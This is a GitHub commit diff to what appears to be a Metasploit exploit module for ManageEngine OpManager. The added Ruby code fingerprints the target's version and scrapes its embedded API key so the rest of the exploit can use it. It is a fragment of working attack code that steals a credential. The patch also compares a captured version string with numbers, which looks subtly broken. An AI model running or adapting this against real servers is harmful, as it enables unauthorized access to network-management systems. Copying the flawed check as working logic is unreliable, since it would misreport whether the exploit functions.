File tree Expand file tree Collapse file tree 1 file changed +7
-1
lines changed
modules/exploits/windows/http Expand file tree Collapse file tree 1 file changed +7
-1
lines changed Original file line number Diff line number Diff line change @@ -121,8 +121,14 @@ def exploit
121
121
'uri' => redirect ,
122
122
'method' => 'GET'
123
123
} )
124
+ if res . body =~ /OpManager.*v\. ([0-9]+\. [0-9]+)<\/ span>/
125
+ version = $1
126
+ else
127
+ fail_with ( Failure ::Unknown , "#{ peer } - Could not gather the version in use" )
128
+ end
124
129
125
- if res && res . code == 200 && res . body =~ /window.OPM.apiKey = "([a-z0-9]+)"/
130
+ if res && res . code == 200 && ( ( version == 11.6 && res . body =~ /window.OPM.apiKey = "([a-z0-9]+)"/ ) || ( version == 11.0 && res . body =~ /window.apiKey = "([a-z0-9]+)"/ ) )
131
+ # the line above checks for the version, as for version 11.0 the call for the api key value is different but the rest of the exploit works the same.
126
132
api_key = $1
127
133
print_status ( "Retrieved API key [ #{ api_key } ]" )
128
134
else
You can’t perform that action at this time.
0 commit comments